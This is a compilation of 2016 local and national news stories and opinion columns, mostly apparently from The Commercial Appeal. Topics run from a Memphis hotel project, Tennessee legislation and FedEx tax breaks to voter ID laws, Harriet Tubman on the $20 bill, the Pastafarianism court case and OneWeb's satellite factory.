"Our desire was to provide the City of Memphis with a transformational product at this very important location,'' Patel wrote in an email.

The Fairfield Inn & Suites would have offered about 125 hotel rooms, Pinkowski has said.

Patel did not say whether his company pursued a tax incentive from the Downtown Memphis Commission to help build a hotel and revive that quadrant of the sterling intersection.

If he did, the effort was informal. Neither an application nor any other documents are on file with the commission, said Jennifer Oswalt, the commission's chief financial officer.

Still, off-the-record discussions could have occurred between the property owner and Downtown officials.

"They did try to get a PILOT (payment in lieu of taxes) from the commission,'' said Pinkowski, who consults in the hotel industry through his Memphis-based Pinkowski & Company but is not involved with the project. "They were turned down.''

Downtown officials have sought to curb the use of tax incentives for smaller hotel projects, saying they instead prefer full-service hotels that can help boost convention business.



Memphis Convention and Visitors Bureau president Kevin Kane said last year that the bureau has encouraged the Downtown Memphis Commission to earmark incentives for when and if we can land that bigger property with meeting space.

New, full-service hotels of at least 250 rooms help bring visitors to Memphis, said Doug Browne, general manager of The Peabody Memphis. His hotel has 464 rooms, 80,000 square feet of meeting space, restaurants and more.

"When it's just another limited service property then what happens is you're just stealing business from each other, not creating new business,'' Browne said. "Nobody is going to come to Memphis because there's another (limited service hotel) in Downtown Memphis. The limited-service products are like ankle biters, they all steal from each other.

Convention and meeting planners for hundreds of people don't want to scatter them across a lot of smaller hotels of varying quality, Browne said.

The Downtown Sheraton with 600 rooms is the city's largest, and it likely must set aside 100 rooms for non-convention guests, he said. "So the largest group we can take in any one hotel is 500 rooms. Anything bigger than that has to go to three or four hotels,'' Browne said.

"It's hard for the Convention & Visitors Bureau to sell the city for conventions when all we have is limited service hotels,'' he said.
Betty Bradbury, who is celebrating 50 years with First Tennessee Bank, hosted the company's 150th anniversary video with CEO Bryan Jordan in 2014. (Courtesy of First Tennessee.)

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By Thomas Bailey Jr. of The Commercial Appeal

First Tennessee is celebrating the tenure of a Middle Tennessee employee, Betty Bradbury, whose 50 years with the bank is longest among the bank's workforce.

The occasion comes at a time when the median tenure for a worker in the U.S. finance sector is about 5 years.

Bradbury joined the bank in 1966 as a teller in Chattanooga before moving to Middle Tennessee. After a succession of promotions, Bradbury now works in Rutherford County as relationship manager for the bank's Employees First program in the Middle Tennessee Region.

"Ive had the opportunity to advance as far as I wanted to go and have always been very happy with my career here,'' Bradbury said in a bank release.

Almost 300 First Tennessee workers have been with the company for 30 years, and the average tenure of the nearly 4,300 First Tennessee employees is 11.1 years.

Betty Bradbury is just the type of dedicated professional who has made First Tennessee what it is over the past 152 years, said Bryan Jordan, chairman of First Tennessees parent company, First Horizon National Corp. Her professionalism and energy have set high standards for everyone who has the chance to work with her.
SHARE Darrel Benton

By Daniel Connolly of The Commercial Appeal

A 20-year-old man showed up with guns at Melrose High School in Orange Mound Friday morning after threatening his girlfriend, according to Memphis police.

Officers detained Darrel Benton outside and found multiple handguns on him, police spokesman Louis Brownlee wrote in an e-mail. No one was hurt.

Benton was charged with domestic assault and carrying a weapon on school property, according to Brownlee, who added that the 17-year-old victim is a student at Melrose.
The Tennessee State Capitol stands apart from newer buildings in Nashville, Tenn. (AP Photo/Mark Humphrey)

By Richard Locker of The Commercial Appeal

NASHVILLE  State lawmakers Thursday approved a bill that diverts  for one year only  about $436,000 from the University of Tennessee office of diversity and inclusion and into scholarships for minority students in engineering.

If approved by Gov. Bill Haslam, that move ends  at least for this year  a push by conservatives angry over the Knoxville campus's annual Sex Week and memorandums to the campus community from the diversity office last year discussing gender-neutral pronouns and ways to make Christmas holiday office parties inclusive for non-Christians.

The diversity bill was one of about a half-dozen issues that kept the General Assembly from adjourning for the year Thursday. Lawmakers will return this morning to try to work out compromises on how to cut the Hall income tax and how to alter a property tax relief program for totally disabled veterans and other low-income elderly or disabled homeowners.

Legislators and the Haslam administration have agreed to cut the Hall income tax on stock and dividend income from its current 6 percent to 5 percent and to express the "legislative intent" to make annual cuts until the tax is eliminated. But a pair of conservative anti-tax groups is pressuring Republicans to write the future tax cuts into the bill.

Short of the diversity bill failing, the outcome was the second-best that UT and diversity advocates could have expected. When demands to "defund" diversity programs surfaced last year, the discussion revolved around $19 million spent throughout public higher education on such diversity efforts as scholarships and faculty recruitment. Later, the Senate Education Committee recommended taking $8 million from UT diversity programs.

The compromise adopted by a House-Senate conference committee and approved by both chambers essentially is the version approved earlier by the full Senate  taking money designated for salaries in the small office of diversity and inclusion, for school year 2016-17 only and using it to fund minority engineering scholarships.

The House version would have permanently diverted the money and earmarked 25 percent of it for "In God We Trust" decals for law enforcement vehicles. The other 75 percent would have funded minority scholarships.

UT President Joe DiPietro said Thursday night, "We had frequent contact with elected officials over the course of the session, and we hoped the Legislature would understand our need to support and advance a culture of diversity and inclusion on our campuses.

"While we appreciate what could have been an $8 million hit being reduced to $436,000, we continue to be concerned about the loss of those important inclusion and diversity programs impacted by this reduction."

The House approved the compromise 63-21, the Senate 27-3.

It also prohibits state funds to be spent by UT "to promote the use of gender neutral pronouns, to promote or inhibit the celebration of religious holidays, or to fund or support sex week."

There were denunciations of the bill on the floors of both chambers, by supporters of diversity efforts who charged that it was too much interference by the legislature in the university's operations, and by conservatives who complained it didn't go far enough.

"We're sending a disproportionately strong message to UT administrators. I think in future years there may not be an office of diversity," said Senate Minority Leader Lee Harris, D-Memphis.

Sen. Mike Bell, R-Riceville, said he took exception to Harris' remarks.

"This is a slap on the wrist compared to the foolishness that's come out of this office over the last several years," he said. "They're lucky we don't shut that office down."

In the House, Rep. Joe Armstrong, D-Knoxville, said the bill and the publicity about the legislature's efforts will hurt UT's efforts "to recruit world-class scholars, world-class athletes, world-class researchers."

Rep. Micah Van Huss, R-Gray, the House sponsor of the defunding effort, said: "If the administration of UT doesn't want the legislature micromanaging, they should clean up their act. Nothing opens the closed mind of an administrator like the sound of a pocketbook snapping shut."
April 22, 2016 - New Zion Baptist pastor Larry Eddins delivers the eulogy during the funeral service for fallen fire fighter Lt. Rodney Eddins, a 30 year veteran of the Memphis Fire Depatment. (Stan Carroll/The Commercial Appeal)

SHARE Lt. Rodney Eddins April 22, 2016 - Area fire fighters and law enforcement salute as the body of fallen fire fighter Lt. Rodney Eddins is lower from Engine 38 at the West Tennessee Veterans Cemetery.The a 30 year veteran of the Memphis Fire Depatment recently while on duty. (Stan Carroll/The Commercial Appeal) April 22, 2016 - Draped in black piping and carrying fallen fire fighter Lt. Rodney Eddins, Memphis Fire Department Engine #38 arrives at the West Tennessee Veterans Cemetery. The 30 year veteran of the MFD was laid to rest Friday following his recent death while on duty. (Stan Carroll/The Commercial Appeal) April 22, 2016 - Area fire fighters and law enforcement salute as the body of fallen fire fighter Lt. Rodney Eddins is lower from Engine 38 at the West Tennessee Veterans Cemetery.The a 30 year veteran of the Memphis Fire Depatment recently while on duty. (Stan Carroll/The Commercial Appeal)

By Kayleigh Skinner of The Commercial Appeal

Hundreds of firefighters and community members gathered Friday to remember Lt. Rodney Eddins, a 30-year veteran of the Memphis Fire Department who died after battling a house fire last weekend.

"He was more like a brother. He lived right across the street from me," said Shelby County firefighter Sylvester Terry. "You're never ready for it."

Memphis Mayor Jim Strickland attended the service at Bellevue Baptist Church and praised Eddins for his decades of service.

He thanked Eddins for "going into buildings others were running out of, serving long hours without complaint, and doing the job that is the core of allowing us to live in this great city."

Memphis Fire Department Chief Gina Sweat presented Eddins' wife, Denise, with his badge.

"Our hearts are broken but we are strong," she said. To celebrate Eddins' life, "we can continue to do our jobs to the best of our ability because that's what Rodney would expect, because he was a firefighter."

Southaven Fire Department spokesman Malena Alderman travelled from Mississippi with some of her colleagues to show support for Eddins and his family.

"It hurts," said Ray Brasher, Southaven honor guard commander. "We didn't know him, but he's still our brother so it hits home hard."

The service was filled with emotional gospel songs and anecdotes from colleagues and family members.

"Rodney had a dream to be a firefighter," said pastor Larry Eddins of New Zion Missionary Baptist Church, who delivered the eulogy.

"If Rodney saw all of this he would be embarrassed, because he lived a life of simplicity," he said of the large audience.

Larry Eddins told attendees that although Rodney Eddins died too young, he lived a full, happy life.

"It's not measured by longevity as long as you realize you have the opportunity to make a difference in someone's life," he said.

Eddins' casket was transported to the West Tennessee Veteran's Cemetery on fire engine 38, its emergency lights draped in black piping.

Construction workers stationed at the Interstate 240 flyover stopped working and hung an American flag from a crane boom for the funeral procession.

The Shelby County Sheriff's Office Pipes and Drums Band gave a bagpipe send-off to Eddins, playing "Amazing Grace" and a variety of other songs.

Eddins died Sunday after he and his crew of firefighters from Fire Station 37 responded to a blaze in the 4500 block of Marigold Lane late Saturday night. The team was looking for hot spots in the home in the Westwood area of Southwest Memphis when he collapsed and was carried out by firefighters. CPR was administered in the yard of the home before Eddins was taken to Methodist South Hospital. Doctors could not resuscitate him.

Although the medical examiner has not yet determined Eddins cause of death, he received a Class 1 funeral designated for those who died in the line of duty, said MFD spokesman Lt. Wayne Cooke.
FedEx grappled with a late surge in holiday shipments that pushed some deliveries to Saturday, leading thousands to complain about late deliveries of presents. (Stan Carroll/The Commercial Appeal)

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By Daniel Connolly of The Commercial Appeal

FedEx reported an increase in job numbers at its information technology center in Collierville between 2014 and 2015, and the town's Industrial Development Board Thursday approved its tax break compliance report without discussion.

"The increase was a result of a number of factors, including continued growth of the FedEx Corporation and our operating companies," FedEx spokesman Jack Pfeiffer wrote in an email.

The global shipping company is required to report job numbers under its tax break agreement with Collierville for its World Technology Center, a large campus of office buildings that opened in 1998.

In 2014, FedEx reported 2,154 professional jobs and 88 clerical jobs at the site.

In its recent report for 2015, the company counted 2,455 professional jobs and 254 clerical jobs at the site. The professional jobs pay an average of $93,000, the clerical jobs an average of $41,000, the FedEx report said.

The number of support jobs exceeds the standard of 252 set in the company's tax break agreement with the town, signed in 2001. But the professional job number falls 313 jobs short of the original standard, 2,768.

Under the terms of the contract, though, FedEx is only considered in default of its tax break agreement if it falls below 80 percent of the required job count, and right now it's at 89 percent for professional jobs and 90 percent for total jobs. Supporters of FedEx also point to the high pay of the jobs and the large total payroll.

Pfeiffer said the job numbers don't include contractors working at the site for outside companies.

FedEx's current 20-year tax break agreement for the World Technology Center expires around the beginning of 2019.

In January, both the Industrial Development Board and the Board of Mayor and Aldermen voted to extend FedEx's Collierville tax breaks for another 20 years after they expire and its Shelby County tax breaks for another 15 years.

FedEx raised the possibility it might leave Collierville if the center was not granted the requested tax breaks. The terms of the new deal are less generous, though: a 75 percent tax write-off of town and county taxes, versus the nearly 100 percent write-off the company receives now.

In other action, the Industrial Development Board approved compliance reports for other companies that receive tax breaks, including a final report from air conditioner manufacturer Carrier Corp. The company's tax break has expired and it's now paying full property taxes again.
April 20, 2016  William White, 6, left, hands a bottle cap to Justin Pullman, 7, while working to decorate the outside of a tree made from found objects at Farmington Elementary. University of Memphis architecture students created the armature for the tree while students at Farmington decorated the tree with all sorts of found objects. (Brad Vest/The Commercial Appeal)

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By Jane Roberts of The Commercial Appeal

In the Farmington Elementary cafeteria-turned-art-studio, students are gluing and weaving scraps of plastic bags, bottle caps and water bottles to an undergirding "armature" that earlier this week lay in four semifinished segments.

When they are combined the parts will form a 12-foot "tree" to be dedicated Monday evening at a community gathering at Bobby Lanier Farm Park in Germantown.

"We may have to buy more glue, but that is it on the budget," Farmington art teacher Beka Laurenzi said as first-graders milled around the project dotted with bright bottle caps and ribbons of sliced water bottles, spiraling in the breeze.

For nearly two weeks, art class at Farmington has been a lesson in the creative use of the plastic that people  in this case, the students' own families  throw away.

Each grade has collected a specific kind of plastic trash for months, hauling it to school in garbage bags and boxes, including mountains of grocery bags.

"That was the first lesson  to see how much plastic we use individually or as a family unit," said principal Zac Percoski. "It was pretty eye-opening for us personally. We drink seven gallons of milk a week."

"The kids are keeping a tally of how much plastic they used. One of the goals was in the end to try to be conscious of (the) amount of plastic we use in our daily lives. The overall goal is to change the amount of plastic that ends up in our landfills."

The armature was built by first-year architecture students at the University of Memphis from discarded shipping pallets, corrugated cardboard and clothes hangers, an outgrowth of how the university is using a $2,500 grant to redesign its Fundamentals of Design Studio, a beginning course for architecture majors.

"We're looking at sustainable design and the value of waste," said Jenna Thompson, assistant professor of architecture. "A lot of people don't really think about that."

As part of their coursework, the university students also created their own plastic "constructs," places to engage or inhabit that will also be part of the dedication on Monday. They are also working with youngsters at Farmington on the "upcycled" art project, talking about the importance of the environment from a young person's point of view.

For John Haun, a first-grader thinking about plastic and the peril its permanence represents, the project is a tangible way to save some plastic from eventually contributing to the "Great Pacific garbage patch," which, by some estimates, is twice the size of Texas.

"We don't want to litter our planet because it is special to us. Now, whatever animal lives in the sea, they can live a really good (life) and that trash won't litter their home," he said.

The great piles of plastic, including discarded toys and even pieces of children's car seats, were sorted at school by color and texture. The handles of hundreds of plastic bags that have become the woven tree trunk were cut off and knotted to form the nubby texture taking shape earlier in the week.

At the top, giant limbs covered with chicken wire arched into space. From them hung ribbons of shredded and cut water bottles. When the tree is lit from the inside, "it will show the qualities plastic has," Thompson said.

The tree will be lit at dusk on Monday "to honor the end of our collaboration," she said.

The amount of plastic the students collected decreased slightly, school leaders say, after students calculated how much was produced in their homes.

"Teachers saw a small difference," Percoski said. "I really think it is getting ingrained in them now and will make it easier to change their habits."

The tree will be on display Saturday for the Farm Park Art and Talent Contest, beginning at 3 p.m. at 2730 Cross Country Road. The community event to honor the project is 6 to 8 p.m. Monday at the park. The event is sponsored by the university, Farmington Elementary, the city's park and recreation department, and CleanMemphis.org.
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By Andrew Gumbel

Molly McGrath is laser-focused on a job no advanced democratic society ought to require: Making sure properly registered voters do not lose their right to cast a ballot on election day because of new, stringent ID requirements they may not even know exist.

McGrath is the national campaign coordinator for VoteRiders, a nonprofit founded by two Los Angeles attorneys that devotes itself to ensuring citizens are not tripped up by the voter ID laws, many of which are being introduced this year.

Since last summer, McGrath and her team have been visiting food pantries, churches, university centers and high-end condo complexes in Wisconsin, one of the states with the strictest requirements. Some of the people the team helps are transient, poor or elderly; they not only may have no driver's license or state-issued photo ID, but they also may have difficulty getting their hands on the underlying documentation required to get one.

Others are students whose college IDs may not conform to the new rules (only three out of the state's 13 four-year colleges issue IDs that meet the requirements). Still others are newly arrived workers who struggle to understand why they can get on a plane with their out-of-state driver's license but cannot use it to vote.

"Nobody's immune to the confusion that these laws bring," McGrath says.

By one estimate, as many as 300,000  9 percent  of Wisconsin's registered voters fell short of the state's photo ID requirements before the April 5 primary. That's more than enough to decide a close race. If November's presidential election comes down to a percentage point or two in Wisconsin  or another swing state with similarly strict voter ID laws, such as Indiana or Virginia  we could be looking at a rerun of Florida in 2000, with voter ID as the new hanging chad. The next occupant of the Oval Office might be determined not by the will of the people, but by lawyers haggling in court over voter access and the constitutionality of the ID rules.

The haggling, in fact, has been going on since Georgia and Indiana first pushed for voter ID laws in 2005. It has only intensified in the last three years, as laws in North Carolina and Texas have either been modified or deemed unconstitutional in federal court because of the burden they place on voters, especially blacks and Latinos.

To date, 34 states, all with Republican-controlled legislatures, have passed some kind of voter ID law. Sixteen of them require voters to present photo ID, and eight states get specific about the kinds of photo ID. In Texas, another state where VoteRiders is active, a concealed-carry weapon license passes muster, but a student ID from a state school does not.

Ostensibly, these laws crack down on illegal voting, but study after study has shown that in-person voter fraud is in fact vanishingly rare. The more likely explanation is that the laws give the GOP a partisan edge in close races by lowering overall turnout and targeting specific groups such as students, minorities and the poor that tend to vote for Democratic candidates.

The suspicion of naked partisanship has created a blizzard of legal cases that have gone up to the Supreme Court and back down again, and the resulting knot of contradictory rulings and opinions has only compounded the confusion created by the laws. In Wisconsin, where the law was enacted in 2011 but has come into effect only this year, voters had to endure long lines at polling stations, where poll workers were often as bewildered as they were.

Almost inevitably, the confusion has created its own voter disenfranchisement. An opinion poll published six weeks before primary day found that 16 percent of eligible Wisconsin voters either thought, erroneously, there was no ID requirement, or they weren't certain  a sure-fire recipe for disappointment on election day. Some voters may even have stayed away believing they did not have the correct ID when in fact they did. A study in one hotly contested congressional district in Texas in 2014 found that 9 percent of registered voters there had been deterred in this way  enough to sway the outcome of just about any race.

This glaringly anti-democratic mess might have been avoided if the federal courts had not been so quick to accept the GOP argument that ID laws were strictly about preventing voter impersonation schemes. Some of the justices who waved Indiana's law through in 2007  including Richard Posner of the 7th Circuit Court of Appeals and John Paul Stevens, since retired from the Supreme Court  have struck a much more skeptical tone since. Now Texas finds itself in the strange position of enforcing an ID law that has been roundly condemned as unconstitutional in district court but is still in force pending appeal.

How much of a difference could voter ID laws make? According to the Government Accountability Office, which has studied the question in Kansas and Tennessee, they can suppress 3 percent of the vote or more. Some unusually frank Republican officials have even cited this figure as their goal, in House and Senate races as well as presidential elections.

A 3 percent shift would have upended Barack Obama's victories in North Carolina and Indiana in 2008 and would have come close to threatening his re-election in 2012. Wisconsin, meanwhile, has a history of presidential nail-biters, including margins of less than 1 percent for the Democrats in 2000 and 2004.

The Supreme Court will have opportunities to right the egregious wrongs of voter ID laws, but it is unlikely to make a substantive new ruling before the 2016 election. And so we have to cross our fingers and hope for the best in November. Molly McGrath describes primary season as "a huge dress rehearsal." Once the combat pits the two major parties against each other, things could get truly ugly.

Andrew Gumbel's book "Down for the Count: Dirty Elections and the Rotten History of Democracy in America," is out in paperback. He wrote this for the Los Angeles Times.
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By Eugene Robinson

WASHINGTON  Conservatives should be delighted that Harriet Tubman's likeness will grace the $20 bill. She was a Republican, after all, and a pious Christian. And she routinely exercised her Second Amendment right to carry a gun, which she was ready to use against anyone who stood in her way  or any fugitive slave having second thoughts. On her long road to freedom, there was no turning back.

Instead, the right has been mostly silent. Donald Trump did mouth off, of course, opining that slated-to-be-displaced Andrew Jackson "had a great history" and that substituting Tubman  who, he allowed, was "fantastic"  amounts to "pure political correctness." Ben Carson defended Jackson as "a tremendous president" who balanced the federal budget.

Both men suggested Tubman instead be put on the $2 bill, which no one uses. That would be a great recipe for tokenism. I'm glad Treasury Secretary Jacob Lew made a bolder and more meaningful choice.

It matters who's on the money. Since the ancient Greeks began stamping coins with images of their gods, nations have used currency to define a pantheon of heroes. Tubman was a great hero not because of who she was but what she did: bravely fight to expand the Constitution's promise of freedom and justice to all Americans.

Critics who polluted social media with invective after Lew's announcement seemed to look past Tubman's deeds and focus on her identity. Yes, she was a black woman. If anyone can't deal with that fact, and doesn't want to use the new bills when they finally come out, feel free to send them to me.

Tubman was born into slavery on Maryland's Eastern Shore around 1822. She escaped to Philadelphia in 1849, but returned to the South more than a dozen times, risking life and liberty, to lead runaway slaves to freedom. Slave owners reportedly offered bounties of thousands of dollars for capturing the diminutive woman known on the grapevine as "Moses."

"I was conductor of the Underground Railroad for eight years," she said later in life, "and I can say what most conductors can't say  I never ran my train off the track and I never lost a passenger."

But that was just the start of Tubman's heroic service. During the Civil War, she guided a team of Union scouts operating in the marshlands near present-day Beaufort, South Carolina. In 1863, she led a raid on plantations along the Combahee River that freed more than 750 slaves  becoming, apparently, the first woman to lead U.S. troops in an armed assault.

Later in life, she worked alongside Susan B. Anthony and others in the crusade for women's suffrage. She died in 1913, frail yet still unbowed, having lived one of the greatest of American lives.

Is it political correctness or historical revisionism to put her defiant likeness in our pockets? Of course  and high time, too.

Unceasing struggle has expanded the meaning of "we the people," once reserved for white men only. As our understanding of freedom and equality has changed, so has our reading of the nation's history. In fighting for the rights of African-Americans and women, Tubman risked her life for the highest of American ideals. Her example ennobles us all.

By definition, the study of history requires interpretation and assessment. The many vital contributions made by black people, women and other "outsiders" were long overlooked or undervalued. We are now able to see Tubman through a sharper lens, and she was magnificent.

As for Jackson, history has been less kind. He was a major slave owner, of course, like so many of our early presidents. If that alone were enough to get a president booted from our money, we'd have no dollar bills, no nickels and no quarters. Of course we should keep George Washington and Thomas Jefferson around, understanding their flaws while celebrating their greatness.

But Jackson also initiated the forced migration of thousands of Native Americans from the Southeast to the West, an exodus called the "Trail of Tears" that can only be described as genocidal. He knew many Indians would die along the way  just as Southern plantation owners, New York financiers and other supporters of slavery knew that keeping human beings in bondage was wrong.

Still, Jackson did win the Battle of New Orleans; if he hadn't, the young nation might not have survived the War of 1812. I say let's put him on the $2 bill, if anybody can find one.

Contact Eugene Robinson at eugenerobinson@washpost.com.
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By Michael Bloomberg

As world leaders gather today in New York to sign the Paris Agreement on climate change, some have expressed concern that the U.S. Supreme Court has put the Obama administration's Clean Power Plan on hold. Their concern is understandable, but it's important to recognize: The federal government is not the primary force in the U.S. fight against climate change, and even if the court ultimately strikes down certain parts of the plan, the U.S. will meet and probably exceed its commitment to reduce emissions by 26 percent to 28 percent by 2025. Here's why.

1) It was a modest goal.

By 2015, the U.S. had already cut emissions by 11 percent compared with 2005 levels. So our starting line was nearly halfway to our goal. Given this progress, many of us believed that President Obama should have set a more ambitious target. Even now, with the Clean Power Plan on hold, a more ambitious goal is achievable.

2) The court's ruling is limited.

No matter how the court rules, the federal government will still have a mandate, under the Clean Air Act, to limit carbon pollution from power plants, cars and trucks, and other major sources. Moreover, the Obama administration recently joined with Canada to draft rules to limit leaks of methane (a greenhouse gas more potent than carbon dioxide) from existing natural gas wells and pipelines.

3) The public favors action.

Last week, Bloomberg Philanthropies funded a poll of Democrats, Republicans and independents living in four states Florida, Michigan, Missouri and Wisconsin  where attorneys general have sued the Environmental Protection Agency to block the Clean Power Plan. More than six in 10 registered voters in Missouri, and seven in 10 in Florida, Michigan and Wisconsin, support the plan. In Florida, nearly six in 10 voters said they'd be more likely to vote for a presidential or gubernatorial candidate who supported the plan, while just one in 10 said they'd be less likely.

4) The market is moving.

The U.S. coal industry is dying, and it's not coming back. A combination of forces  cheap gas, price-competitive solar and wind energy, and public opposition to polluted air  will make sure of it. A recent report showed that solar jobs in the U.S. have grown at a rate 12 times faster than the national job growth rate. The Sierra Club's Beyond Coal campaign, which I have supported, has helped phase out more than 230 coal plants in recent years  one-third of the nation's coal fleet. And we aim to lock in the retirement of half the nation's coal fleet by the end of next year.

5) Cities are leading.

More than 100 U.S. cities have joined the Compact of Mayors, a global coalition of city officials committed to lowering local emissions, and publicly tracking the reductions. Moreover, mayors are talking with international leaders about big ideas, such as building and financing new clean energy electric grids. For instance, earlier this week I met with Liu Zhenya, chairman of the State Grid Corporation of China, who shared with me his idea of a Global Energy Interconnection to help the world get 80 percent of its energy from renewable energy sources. Working with businesses and investors, cities will be instrumental partners in bringing such bold ideas to life.

6) States are acting.

Many states rightly view the EPA's targets as a floor, not a ceiling. Governors of nearly half of U.S. states have said they will proceed with the Clean Power Plan regardless of the Supreme Court's temporary stay. California has adopted a plan that imposes far deeper cuts on emissions than what the Clean Power Plan calls for. Michigan, Minnesota and Tennessee are on track to meet or exceed federal compliance targets without doing much more at all. Even heavily coal-dependent Kentucky, where elected officials have voiced opposition to the Clean Power Plan, will likely wind up meeting the plan's targets, because of market forces driving more investment in cleaner energy.

In 2009, Congress debated a cap-and-trade bill that would have cut emissions by 8 percent by 2015. It failed to pass, and many were despondent, believing that was the last, best hope for making progress. But since then  thanks to the above forces, particularly the market and Beyond Coal campaign  the U.S. has cut emissions by more than what the cap-and-trade bill hoped to achieve.

The fact is that cities, states, businesses and community leaders collectively play a larger role in the future of emissions than the federal government. The prospect of a Supreme Court ruling striking down aspects of the Clean Power Plan should lead each group to accelerate its efforts, while also reassuring world leaders of our resolve to achieve and exceed the federal government's goals.

Michael Bloomberg is founder and majority owner of Bloomberg LP, the parent company of Bloomberg News, and the UN secretary-general's special envoy for cities and climate change.
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By Noah Feldman

What's a religion? The question is fundamental to the legal analysis of religious freedom, yet courts avoid addressing it. The Supreme Court has never given a concrete answer. The result: Courts don't claim to be able to define religion, but think they know it when they see it.

The consequences can be surprising. Recently I wrote about a case in which an appeals court expressed skepticism about whether a religion based on the use of traditional Native American hallucinatory substances was really a religion. And just last week a federal district court rejected a prisoner's religious-liberty claim on the ground that his faith, Pastafarianism, is a parody of religion rather than religion itself.

The facts of the parody case are entertaining  but they're also important. As it turns out, the adherents of the parody religion are engaging an important set of claims about religion. Their claims are both theological and constitutional. And they may press the courts to create new law on the topic of religious liberty.

The case arose under the Religious Land Use and Institutionalized Persons Act of 2000, the legal little sister of the better-known Religious Freedom Restoration Act of 1993. Stephen Cavanaugh, a prisoner in the Nebraska State Penitentiary, says he is a member of the Church of the Flying Spaghetti Monster, and sought religious accommodations in association with what he described as his faith. A federal district court in Nebraska rejected his claim.

If you haven't heard of FSMism, as I hadn't, you're in for a treat. Its core ideas are expressed in a book, the Gospel of the Flying Spaghetti Monster.

In essence, as the federal court in Nebraska explained, the doctrine of the Flying Spaghetti Monster emerged in response to the idea of intelligent design, a social and intellectual movement that points to gaps in the evidence for the theory of evolution and asserts that life must have been created by some intelligent life force.

The intelligent design movement was created at least in part to find a legal way to get an updated form of creationism taught in public schools. In the failed attempt to achieve that goal, its advocates insisted that intelligent design wasn't a religious teaching, but rather a secular one.

The author of the pasta gospel, Bobby Henderson, took intelligent-design thinking one step further. If there's an intelligent life-creation force, he reasoned, isn't it just as likely that it's a flying spaghetti monster as a beatific, omnipotent God? With the spaghetti-monster scripture in place, rituals arose and adherents materialized. The faith promises a holiday every Friday. Its rituals are performed in what the faithful call "pirate talk."

And this past weekend, in a wonderful coincidence, the first known legal Pastafarian wedding was solemnized in Akaroa, New Zealand. Pictures show the couple and the celebrant, a Flying Spaghetti Monster minister, in what look like Pirates of the Caribbean outfits. Reportedly the minister blessed the couple in these words: "May your sails be full, your compass point true, and your noodley best mate keep you warm and happy all the days and nights of your journey together."

New Zealand recognizes Pastafarianism as a religion, or at least allows its self-described ministers to perform marriages under its laws. The federal court in Nebraska held otherwise.

The court acknowledged that the case was a hard one "because FSMism, as a parody, is designed to look very much like a religion." And it "candidly" admitted that precedent wasn't very helpful in such a case.

But it concluded that it would be a mistake to consider a parody of religion to count as an actual religion. "It is no more tenable to read the FSM Gospel as proselytizing for supernatural spaghetti," the court said, "than to read Jonathan Swift's 'Modest Proposal' as advocating cannibalism."

There's something perversely poetic about this result. Intelligent design claimed it wasn't a religion, yet a federal court found that it was one. Pastafarianism, founded in response to intelligent design, claims to be a religion  and a federal court has now held that it isn't one.

The court may not have gotten this case right. Yes, Pastafarianism was born as a parody. But that parody came to be accompanied by rituals, adherents and beliefs. Those are some of the key sociological factors that go into a description of religion.

What's more, Pastafariansim is based on a parody with a serious point: It aims to show not only that intelligent design is silly, but that organized religions are silly. That's a claim about ultimate meaning that could fairly be called theological.

It's entirely possible that adherence to flying spaghetti monsterism could play the same role in the life of a follower as religion does in the life of a believer. In these ways, it's at least as much of religion as atheism or humanism, which courts have sometimes found to be religions for purposes of federal law.

The most important thing about the Church of the Flying Spaghetti Monster is that it forces us to ask the tough question of what should count as a religion. The point of smart parody is to make us think. Even if its faith never achieves recognition in the U.S. courts, the Noodly Appendage has already achieved that much. Thank Him.

Noah Feldman, a Bloomberg View columnist, is a professor of constitutional and international law at Harvard.
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OneWeb officials Tuesday unveiled plans for a factory just outside the gates of NASAs Kennedy Space Center in Florida that will churn out up to 15 satellites per week to populate low Earth orbit and beam broadband Internet signals worldwide.

Repurposing aircraft assembly line methods to satellite manufacturing, OneWeb and Airbus Defense and Space are partnering to produce 900 refrigerator-sized spacecraft for launches beginning in 2018.

The first 10 satellites will be assembled at Airbuss existing satellite factory in Toulouse, France, with series production of 890 more Airbus-designed platforms to follow at a new $85 million facility to be built at Exploration Park near the Kennedy Space Center in Florida, officials said Tuesday.

The Florida factory is due to open by the end of 2017.

Each OneWeb spacecraft will weigh about 150 kilograms (330 pounds) and use electrical propulsion to enter formation in 20 orbital planes 1,200 kilometers (745 miles) above Earth to broadcast high-speed Internet connectivity to customers across the globe.

The network will provide more than 10 terabits per second of new capacity to underserved areas around the world and extend the reach of mobile phone networks and Internet service providers.

Founded by Greg Wyler, a satellite and telecom entrepreneur, OneWeb plans to launch 648 satellites in the first phase of the constellation. The rest of the spacecraft will be spares pre-positioned in orbit or on the ground.

This new facility is another step in the dream of enabling affordable Internet access for the entire globe, Wyler said in a statement. These satellites are truly state of the art as we have really pushed, but not exceeded, the limits of technology. With this new facility we will be able to iterate, update and continuously improve the satellites design and performance, and being right at the space center using Virgin Galactic we will be able to launch new satellites within hours of completion.

The bulk of the initial constellation  totaling up to 700 satellites  will be launched by Russian Soyuz rockets under a contract signed last year between OneWeb and Arianespace.

OneWeb ordered 21 Soyuz launches from up to four spaceports  the Baikonur Cosmodrome in Kazakhstan, Vostochny and Plesetsk in Russia, and the European-run Guiana Space Center in South America  to send up between 32 and 36 satellites at a time.

Arianespace also secured optional orders from OneWeb for five more Soyuz launches and three flights of the next-generation Ariane 6 rocket.

Virgin Galactics air-launched LauncherOne vehicle, which is still in development and could fly by the end of 2017, was also awarded 39 launches by OneWeb to replenish the companys satellite fleet as old satellites stop working. LauncherOne will haul up one satellite at a time after dropping from a modified Boeing 747 carrier jet.

Virgin Galactics satellite launches could be based at multiple locations. Initial test launches could take off from Mojave, California, and operational flights could stage from Spaceport America in New Mexico and the former shuttle landing trip at Kennedy Space Center in Florida.

OneWeb selected Floridas Space Coast for the satellite factory after surveying other contending locales across North America.

As we traveled around and looked at other states, and in some cases other countries, of where to put this, we could never recreate the pioneering spirit that you feel here on this site so close to Kennedy (Space Center), and we hope to tap that and bring that into our business, said Brian Holz, CEO of OneWeb Satellites, a joint venture between OneWeb and Airbus that will manage spacecraft production. Were attempting to really revolutionize and transform how satellites are going to be built, and that pioneering spirit is going to be key to our employees. Hiring from the history here, and the experience thats here, is going to be real important in helping us achieve that.

Space Florida, a state agency charged with luring commercial aerospace business to the Sunshine State, helped arrange $20 million in government incentives to bring the OneWeb factory to the Space Coast.

This is not only an advanced manufacturing facility for the company, but there are plans clearly to support a number of major sub-tier suppliers in this facility, and we look forward to welcoming them as well, said Frank DiBello, president and CEO of Space Florida.

